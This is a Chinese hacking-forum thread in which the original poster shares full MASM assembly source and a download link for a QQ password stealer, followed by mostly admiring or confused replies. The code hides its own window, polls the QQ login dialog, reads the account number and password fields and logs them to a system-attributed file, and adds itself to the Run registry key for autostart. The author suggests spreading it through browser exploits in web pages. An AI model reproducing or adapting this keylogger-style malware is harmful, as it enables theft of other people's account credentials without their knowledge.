补天网 - 编程与软件开发精华   
全部显示
返回《编程与软件开发精华》 快速返回
作 者  主题:利用汇编语言开发盗QQ密码程序(原创)
czy
=四大皆空=
积分:436
贴数:23
 日期:2003-6-20 22:14:01
利用汇编语言开发盗QQ密码程序(原创)

你可以从这个程序学到如何利用汇编...的一些特别特性

程序下载地址:
locking.8u8.com/hack/asmqq.rar


这是一个我用了一天多编出来的运行在98环境下的
记录QQ密码的小程序,只有不到7KB
编程语言是win32汇编,我用的是MASM8.0编绎器

可以对付最新的QQ2003,QQ1230版....现在网上好多盗QQ的程
序要么被杀要么没更新用不到了....只好自已写一个,由于这
个东东是汇编写的只有几KB所以你可以把它放在网页中利用IE
的洞洞让看过网页的人就中招..当然你还得改改程序,因为它
不具有发邮件的功能.

文件说明:
qqlog.txt   c:\windows\system32目录下,密码就放这儿了
qqplus.exe  主程序,使用时放在system目录下,程序写注册表自启动
qqplus.asm  源文件
qq.rc     资源文件
findstr.vbs 我为了验证如何不让重复记录写的脚本用来验证算法
str.asm  验证在文件中找是否有已知字串的小模块
readme.txt  这也要说明:)

编绎参数:
D:\masm32\BIN>type b.bat
ml /c /coff msg.asm
link /subsystem:windows msg.obj qq.res

czy 于03.06.15

.386
.model flat,stdcall
option casemap:none

include  ../include/windows.inc
include  ../include/user32.inc
includelib ../lib/user32.lib
include  ../include/kernel32.inc
includelib ../lib/kernel32.lib
include  ../include/Advapi32.inc
includelib ../lib/Advapi32.lib

_PROCVAR2 typedef proto :dword,:dword
PROCVAR2 typedef ptr _PROCVAR2


.data
szcaption db ‘hello asm!‘,0
sztext  db ‘hehe‘      ,0
szqqtitle db ‘                                                                           ‘,0
sztext1  db ‘cant find‘ ,0
tx  db 40 dup(0),0
pass  db 16 dup(0),0
qqno  db 40 dup(0),0
log  db ‘c:\windows\system32\qqlog.txt‘,0
szFormat db ‘%s  %s‘,0dh,0Ah,0
regpath  db ‘Software\Microsoft\Windows\CurrentVersion\Run‘,0
keyname  db ‘QQplus‘,0
exename  db ‘QQplus.exe‘,0
hkey  dd ?
allnum  dd ?
@szBuffer       db 60 dup(0),0
canwrite db 0
;---------------------------------是否有重复记录
find db ‘相同用户名密码已在文件中存在‘,0
logall db 1024 dup(0),0
@hFile1 dd ?

p dd 0  ;开始一次匹配值设为1,终止一次匹配又改为0
k dd 0  ;在logall中找到多少个相同的字符了
q dd 0  ;保存在一次匹配*作中logall中的第一个字符的位置?
j dd 0  ;记录在logall中找到多少个字串来了

base dd 0  ;记录logall的地址

lenstr  dd 0  ;记录匹配的字串的长度
len dd 0  ;记录文件长度

@szBuffer1       db 10 dup(0),0
szFormat1 db ‘%d%s‘,0

;---------------------------------

.const
szregister db ‘RegisterServiceProcessA‘,0
kerdll  db ‘kernel32.dll‘,0

.data?
hInstance dd ?
hWinMain dd ?
RegisterServiceProcessA PROCVAR2 ?
hDllInstance dd ?


.code

_isin  proc

   invoke CreateFile,offset log,GENERIC_READ,FILE_SHARE_READ,\
              NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
   ;OPEN_ALWAYS:存在则打开,不存在就创建                          
   mov @hFile1,eax  
   invoke GetFileSize,@hFile1,NULL   ;得到文件长度   
   invoke ReadFile,@hFile1,offset logall,eax,offset allnum,NULL
   invoke CloseHandle,@hFile1
   
   
    invoke lstrlen,addr logall  ;得到字串总长
    mov esi,offset len
    mov  [esi],eax            ;并记录到len变量中
    
    invoke lstrlen,offset @szBuffer    ;得到要记当的用户名密码找度
    mov esi,offset lenstr
    mov [esi],eax
    
    ;invoke wsprintf,addr @szBuffer,offset szFormat,lenstr
   ;invoke MessageBox,NULL,offset logall,offset @szBuffer,1   
;上面的*作从文件中读出所有内容,下面就是比较   
   
   mov esi,offset logall  
   mov edi,offset @szBuffer
   xor eax,eax
   xor ebx,ebx
   xor ecx,ecx
   xor edx,edx
   
@@bg:            
   
   movzx eax,byte ptr [esi]   ;logall
   movzx ebx,byte ptr [edi]   ;@szBuffer  
   mov ecx,len
   .if j>ecx   
   jmp @@exit
   .endif
   
   .if eax==ebx        
    .if p==0  ;找到一个和hello的第一个字母相同的
    
    inc p                 ;p设为1
    
    mov edx,offset j     
    mov ecx,[edx]
    mov q,ecx             ;把j的值给Q
    
    .endif  
    
   inc  edi
   inc esi
   inc j 
   inc k 
      
    mov ecx,lenstr        
    .if k==ecx
        pushad
        ;invoke wsprintf,addr @szBuffer1,offset szFormat1,k,offset logall
        ;invoke MessageBox,NULL,offset @szBuffer1,offset find,1        
        popad    ;调用了函数eax值发生变化所以要还原寄存器
        inc  canwrite   ;可写入标记设为1
        jmp @@exit
    .endif   
    
   .else
        .if p==1 
          mov ecx,q
          mov j,ecx
     inc j
     
     movzx eax,byte ptr [esi]
     add esi,j
     
     mov edi,offset @szBuffer
     dec p    ;p重设为0
     mov k,0
        .else 
      inc j
      inc esi      
        .endif         
   .endif
   
   jmp @@bg
@@exit:   
   ret
_isin  endp

_SavePass proc   ;用户名密码记录在全局变量中了
  local @hFile:HFILE
         local @lpOpenbuf:OFSTRUCT
         
  
          
   invoke wsprintf,addr @szBuffer,offset szFormat,offset qqno,offset pass
   ;invoke MessageBox,NULL,offset @szBuffer,offset szcaption,1
   
   mov qqno,NULL
   mov pass,NULL
   
   invoke _isin
   
   .if canwrite==0
   
   invoke CreateFile,offset log,GENERIC_WRITE,FILE_SHARE_READ,\
                NULL,OPEN_ALWAYS,FILE_ATTRIBUTE_SYSTEM,NULL
   ;OPEN_ALWAYS:存在则打开,不存在就创建                          
   mov @hFile,eax     
   invoke SetFilePointer,@hFile,0,NULL,FILE_END
          invoke SetEndOfFile,@hFile                    ;文件指针放到文件尾                        
   invoke lstrlen,addr @szBuffer  
                 invoke _lwrite,@hFile,addr @szBuffer,eax
                 .else
                 dec canwrite   ;还原标记
                 .endif

                 invoke CloseHandle,@hFile
                  
                 ;清空当前记录的密码防止重复记录      
   
   ret
_SavePass endp

_Findzi  proc _hzi
   
   invoke GetWindowLong,_hzi, GWL_STYLE
   
   .if eax==50012080h  ;记录QQ号码
    invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0
     inc eax    
    push eax
    invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx 
    ;invoke MessageBox,NULL,offset tx,offset szcaption,1

    
;    mov esi, offset tx
;    mov edi, offset qqno
;MYCOPYSTR0:
;    mov al,byte ptr [esi]
;    cmp al,0
;    jz MYCOPYSTR1
;    mov [edi],al
;    inc esi
;    inc edi
;    jmp MYCOPYSTR0
;MYCOPYSTR1:
    pop ecx
    
    .if ecx>5    ;长度大于4,qqno!=tx

    mov edi,offset qqno
    mov esi,offset tx
    xor edx,edx
    .while edx<ecx 
     mov  eax,[esi]
    cmp [edi],eax
    jnz @@qt
     inc esi
    inc edi
     inc  edx          
     .endw
    jmp @@ps


@@qt:
     xor edx,edx
    mov edi,offset qqno
    mov esi,offset tx
    
     .while edx<ecx   
     mov  eax,[esi]
    mov [edi],eax
     inc esi
    inc edi
     inc  edx          
     .endw
       
   

    
     ;invoke MessageBox,NULL,offset qqno,offset szcaption,1   
    .endif
   .endif
   
         
@@ps:   
   

   .if eax==500100A0h  ;记录QQ密码
    invoke SendMessage,_hzi, WM_GETTEXTLENGTH, 0, 0
     inc eax
    push eax
    invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx 
    
    pop ecx
    
    .if ecx>6    ;长度大于5,qqno!=tx

    mov edi,offset pass
    mov esi,offset tx
    xor edx,edx
    .while edx<ecx 
     mov  eax,[esi]
    cmp [edi],eax
    jnz @@qt1
     inc esi
    inc edi
     inc  edx          
     .endw
    jmp @@ps1


@@qt1:
     xor edx,edx
    mov edi,offset pass
    mov esi,offset tx
    
     .while edx<ecx   
     mov  eax,[esi]
    mov [edi],eax
     inc esi
    inc edi
     inc  edx          
     .endw
    
     ;invoke MessageBox,NULL,offset pass,offset szcaption,1   
    .endif
   .endif      
@@ps1:   
   
   
   invoke GetWindow,_hzi, GW_HWNDNEXT  ;例举下一个兄弟窗体   
   
   
   .If eax!=0   ;没有兄弟窗口了
    invoke _Findzi,eax
   .EndIf
   
   invoke GetWindow,_hzi, GW_CHILD  ;是否有子窗口
   
   .If eax!=0   ;没有子窗口了
    invoke _Findzi,eax
   .EndIf      
   
   ret
_Findzi  endp

_ProcTimer proc _hWnd,uMsg,_idEvent,_dwTime
  pushad
  invoke FindWindow,NULL,offset szqqtitle
  .if eax
    invoke GetWindow,eax, GW_CHILD
   invoke  _Findzi,eax
  .else
  ;invoke MessageBox,NULL,offset szcaption,offset sztext1,1
  ;找不到登陆窗口并且用户名密码不为空就试图记录
    
  invoke lstrlen,offset pass  
   .if eax>5
   ;invoke MessageBox,NULL,offset szcaption,offset sztext1,1
    invoke _SavePass
   .endif
  .endif
  popad
  ret

_ProcTimer endp


_ProcDlgMain  proc uses ebx edi esi,hWnd,uMsg,wParam,lParam
  mov eax,uMsg
  .if eax==WM_INITDIALOG
   push hWnd
   pop hWinMain
   invoke SetWindowLong,hWnd,GWL_EXSTYLE,WS_EX_TOOLWINDOW  ;显藏程序在任务栏的按钮
   invoke SetWindowPos,hWinMain,HWND_BOTTOM,0,0,0,0,SWP_HIDEWINDOW    ;窗口不可见 
   invoke SetTimer,hWinMain,1,500,addr _ProcTimer   
  .elseif eax == WM_CLOSE
   invoke KillTimer,hWinMain,1
   invoke EndDialog,hWinMain,NULL   
   
  .else
   mov eax,FALSE
   ret 
  .endif
  mov eax,TRUE
  ret
_ProcDlgMain endp


start:
 invoke GetModuleHandle,NULL
 mov hInstance,eax    
 
 ;pushad
 ;invoke LoadLibrary,offset kerdll
 ;.if eax  ;加载KERNEL32.dll成功
  
 ; mov hDllInstance,eax
 ; invoke GetProcAddress,hDllInstance,offset szregister
 ;  
 ;  mov RegisterServiceProcessA,eax
 ;   ;mov ebx,01
 ;  invoke  RegisterServiceProcessA,hInstance,01   ;在务任管理器中隐藏进程
 ; 
 ; invoke FreeLibrary,offset kerdll
 ;.endif
 ;popad
 
 invoke DialogBoxParam,hInstance,101,NULL,offset _ProcDlgMain,NULL
 


 ;开机自启动
 invoke RegOpenKeyEx,80000002h,offset regpath,0,KEY_SET_VALUE,offset hkey
 invoke RegSetValueEx,hkey,offset keyname,0,REG_SZ,offset exename,11
 invoke RegCloseKey,hkey
 ;invoke ExitProcess,NULL
end start

黑色杀手


=化零为整=
积分:17
贴数:23
日期: 2003-7-2 13:10:34  
还有别的程序吗~~
akty


=一知半解=
积分:198
贴数:541
日期: 2003-7-4 12:05:45  
太多看得不耐烦了~~
kaedephonex


=化零为整=
积分:88
贴数:212
日期: 2004-2-29 9:45:46  
晕~看不懂~
 
老六9243
=化零为整=
积分:11
贴数:39
日期: 2004-10-2 0:52:40  
经典
x-bit


=入木三分=
职务:版主
积分:37
贴数:450
日期: 2004-10-2 12:17:36  
顶下先
liangqing831


=一知半解=
积分:302
贴数:231
日期: 2004-10-6 23:09:18  
都不知行不行.
zxq83824
=化零为整=
积分:3
贴数:3
日期: 2004-10-10 21:14:46  
晕倒呢 怎么这么长呀还说短 是不是我水平差呀 谁能告诉我最快的盗别人QQ的办法呀 !!~~最好能找到全是美女的哦!!!~~~
xiaomeng39
=化零为整=
积分:31
贴数:64
日期: 2004-11-11 20:26:22  
这个对我们来说实在太难了啊
 没办法看懂啊~
czlj203


=一知半解=
积分:457
贴数:582
日期: 2004-12-10 9:36:16  
WIN32汇编 看来比 16位下的汇编功能多多了
满江红不可一世
=化零为整=
积分:3
贴数:3
日期: 2004-12-11 21:59:58  
汇编就是指令难记忆 啊
 顶下先
runboy
=化零为整=
积分:24
贴数:62
日期: 2004-12-24 11:25:02  
不太懂
恨千重


=化零为整=
积分:28
贴数:24
日期: 2005-2-13 21:36:40  
真有强人啊:\
tanjia1127


=化零为整=
积分:24
贴数:39
日期: 2005-2-15 13:02:00  
强! 高手
fanqh2003
人品问题


=一知半解=
积分:189
贴数:207
日期: 2005-2-19 16:29:06  
不错。不知行不行
taianmonkey
=化零为整=
积分:30
贴数:23
日期: 2005-2-23 13:25:01  
invoke SendMessage,_hzi, WM_GETTEXT, eax, offset tx
取不到密码的内容!
 1  2
返回《编程与软件开发精华》 快速返回

IE不断爆出漏洞,使用FireFox浏览器,会更安全一些:

如果您想发帖,请先注册或登录!


Copyright © 2006 Patching.net All rights reserved.